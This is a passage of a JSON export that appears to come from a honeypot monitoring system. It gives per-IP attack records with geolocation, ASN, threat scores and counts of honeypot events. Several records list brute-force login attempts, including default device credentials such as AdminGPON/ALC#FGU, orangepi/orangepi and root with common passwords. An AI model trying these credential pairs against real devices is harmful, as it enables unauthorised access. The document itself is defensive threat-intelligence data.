        "first_seen_30d": "2026-05-05T02:08:25.976000+00:00",
        "last_seen_30d": "2026-05-31T15:37:57.288000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "110.39.242.66": {
      "attack_count": 50,
      "first_seen": "2026-05-19T05:57:31.404Z",
      "last_seen": "2026-05-19T06:02:55.937Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T05:57:31.404000+00:00",
        "last_seen_30d": "2026-05-19T06:04:05.384000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "137.59.230.228": {
      "attack_count": 50,
      "first_seen": "2026-05-07T16:09:01.506Z",
      "last_seen": "2026-05-07T16:14:25.988Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:09:01.506000+00:00",
        "last_seen_30d": "2026-05-07T16:15:35.313000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "14.1.107.92": {
      "attack_count": 50,
      "first_seen": "2026-05-13T21:11:55.361Z",
      "last_seen": "2026-05-13T21:17:19.576Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:11:55.361000+00:00",
        "last_seen_30d": "2026-05-13T21:18:27.323000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.73.124": {
      "attack_count": 44,
      "first_seen": "2026-05-05T17:21:58.955Z",
      "last_seen": "2026-05-05T17:26:44.346Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:21:58.955000+00:00",
        "last_seen_30d": "2026-05-05T17:27:51.976000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "66.167.166.176": {
      "attack_count": 44,
      "first_seen": "2026-05-02T17:27:17.137Z",
      "last_seen": "2026-05-02T17:32:02.576Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:27:17.137000+00:00",
        "last_seen_30d": "2026-05-02T17:33:10.952000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "23.95.202.126": {
      "attack_count": 42,
      "first_seen": "2026-05-09T05:17:56.203Z",
      "last_seen": "2026-05-29T02:48:29.712Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 43.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:17:56.203000+00:00",
        "last_seen_30d": "2026-05-29T02:49:38.591000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "106.12.170.200": {
      "attack_count": 37,
      "first_seen": "2026-05-28T07:07:20.532Z",
      "last_seen": "2026-05-28T07:35:07.623Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "noc",
        "roott",
        "yang"
      ],
      "passwords_attempted": [
        "Cloud-12345",
        "noc",
        "passW0rd",
        "roott",
        "yang"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:07:20.532000+00:00",
        "last_seen_30d": "2026-05-28T07:45:15.840000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 21
      }
    },
    "114.138.96.214": {
      "attack_count": 34,
      "first_seen": "2026-05-19T04:40:42.566Z",
      "last_seen": "2026-05-19T06:20:13.619Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:40:42.566000+00:00",
        "last_seen_30d": "2026-05-19T06:21:22.438000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 17
      }
    },
    "190.137.114.199": {
      "attack_count": 32,
      "first_seen": "2026-05-14T04:08:13.690Z",
      "last_seen": "2026-05-14T04:23:18.726Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:08:13.690000+00:00",
        "last_seen_30d": "2026-05-14T04:24:29.217000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "54.245.56.55": {
      "attack_count": 32,
      "first_seen": "2026-05-21T01:40:14.860Z",
      "last_seen": "2026-05-21T01:40:22.474Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:40:14.860000+00:00",
        "last_seen_30d": "2026-05-21T01:41:30.575000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "103.173.7.203": {
      "attack_count": 30,
      "first_seen": "2026-05-05T14:03:37.779Z",
      "last_seen": "2026-05-05T14:06:53.357Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:03:37.779000+00:00",
        "last_seen_30d": "2026-05-05T14:07:56.499000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "194.61.53.188": {
      "attack_count": 30,
      "first_seen": "2026-05-05T00:31:33.310Z",
      "last_seen": "2026-05-11T06:20:59.892Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 202302,
      "as_org": "NETH LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:31:33.310000+00:00",
        "last_seen_30d": "2026-05-11T06:22:04.868000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "94.26.106.148": {
      "attack_count": 30,
      "first_seen": "2026-05-06T08:16:34.125Z",
      "last_seen": "2026-05-15T23:39:56.208Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "AdminGPON",
        "user"
      ],
      "passwords_attempted": [
        "admin",
        "ALC#FGU",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.1,
        "persistence": 20.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 24,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T08:16:34.125000+00:00",
        "last_seen_30d": "2026-05-29T01:21:38.674000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 19,
        "Honeytrap": 2
      }
    },
    "177.116.201.61": {
      "attack_count": 28,
      "first_seen": "2026-05-25T00:20:29.909Z",
      "last_seen": "2026-05-25T00:29:47.707Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Lima",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 23.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T00:20:29.909000+00:00",
        "last_seen_30d": "2026-05-25T00:30:50.449000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 17
      }
    },
    "34.52.215.102": {
      "attack_count": 25,
      "first_seen": "2026-05-07T13:00:59.506Z",
      "last_seen": "2026-05-07T13:01:34.693Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T13:00:59.506000+00:00",
        "last_seen_30d": "2026-05-07T13:02:41.762000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 17
      }
    },
    "200.23.126.99": {
      "attack_count": 20,
      "first_seen": "2026-05-30T00:24:07.252Z",
      "last_seen": "2026-05-30T00:30:23.225Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Aguascalientes",
      "asn": 273250,
      "as_org": "SOLUCIONES DE TECNOLOGIA JAH SA DE CV",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T23:18:03.302000+00:00",
        "last_seen_30d": "2026-05-30T00:31:24.237000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 14
      }
    },
    "216.218.206.67": {
      "attack_count": 20,
      "first_seen": "2026-05-05T04:41:52.316Z",
      "last_seen": "2026-05-22T09:30:34.793Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "Accept-Encoding: gzip",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
        "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 87.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 370,
        "days_active_30d": 28,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T00:39:41+00:00",
        "last_seen_30d": "2026-05-29T11:34:03.554000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 225,
        "Honeytrap": 105,
        "Cowrie": 20,
        "Ciscoasa": 10,
        "Dionaea": 4,
        "CitrixHoneypot": 2,
        "ConPot": 2,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "113.90.49.228": {
      "attack_count": 18,
      "first_seen": "2026-05-05T06:46:46.760Z",
      "last_seen": "2026-05-05T06:48:47.821Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:46:46.760000+00:00",
        "last_seen_30d": "2026-05-05T06:49:52.042000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "189.93.69.237": {
      "attack_count": 18,
      "first_seen": "2026-05-22T11:41:02.749Z",
      "last_seen": "2026-05-22T19:25:22.077Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Marian\u00f3polis do Tocantins",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:41:02.749000+00:00",
        "last_seen_30d": "2026-05-22T19:26:26.388000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "84.54.72.205": {
      "attack_count": 18,
      "first_seen": "2026-05-12T16:26:10.265Z",
      "last_seen": "2026-05-12T16:34:42.501Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:26:10.265000+00:00",
        "last_seen_30d": "2026-05-12T16:45:00.989000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 15
      }
    },
    "58.251.254.247": {
      "attack_count": 17,
      "first_seen": "2026-05-09T12:59:15.561Z",
      "last_seen": "2026-05-09T15:53:08.752Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "---fuck_you----"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17623,
      "as_org": "China Unicom Shenzen network",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 5.8,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 7,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T20:24:17+00:00",
        "last_seen_30d": "2026-05-12T00:57:51.020000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Cowrie": 17,
        "Honeytrap": 14
      }
    },
    "199.127.250.73": {
      "attack_count": 16,
      "first_seen": "2026-05-22T11:00:39.961Z",
      "last_seen": "2026-05-22T11:14:51.654Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:00:39.961000+00:00",
        "last_seen_30d": "2026-05-22T11:16:23.996000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "160.119.76.63": {
      "attack_count": 13,
      "first_seen": "2026-05-03T04:57:02.629Z",
      "last_seen": "2026-05-21T11:24:23.600Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "scan"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 60.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 14348,
        "days_active_30d": 19,
        "ports_targeted_30d": 1677,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-03T01:13:32+00:00",
        "last_seen_30d": "2026-05-21T13:08:37.997000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9268,
        "Honeytrap": 4954,
        "Miniprint": 34,
        "Dionaea": 28,
        "Redishoneypot": 14,
        "Cowrie": 13,
        "Dicompot": 12,
        "ConPot": 6,
        "CitrixHoneypot": 5,
        "H0neytr4p": 5,
        "Tanner": 5,
        "Adbhoney": 4
      }
    },
    "37.230.113.19": {
      "attack_count": 12,
      "first_seen": "2026-05-05T00:03:04.256Z",
      "last_seen": "2026-05-05T02:14:38.599Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 29182,
      "as_org": "JSC IOT",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:03:04.256000+00:00",
        "last_seen_30d": "2026-05-05T02:15:42.728000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "42.54.64.46": {
      "attack_count": 12,
      "first_seen": "2026-05-10T04:11:42.554Z",
      "last_seen": "2026-05-10T04:12:45.171Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T04:11:42.554000+00:00",
        "last_seen_30d": "2026-05-10T04:13:50.256000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "119.157.182.203": {
      "attack_count": 11,
      "first_seen": "2026-05-21T06:08:46.089Z",
      "last_seen": "2026-05-21T06:11:51.836Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Bahawalpur",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
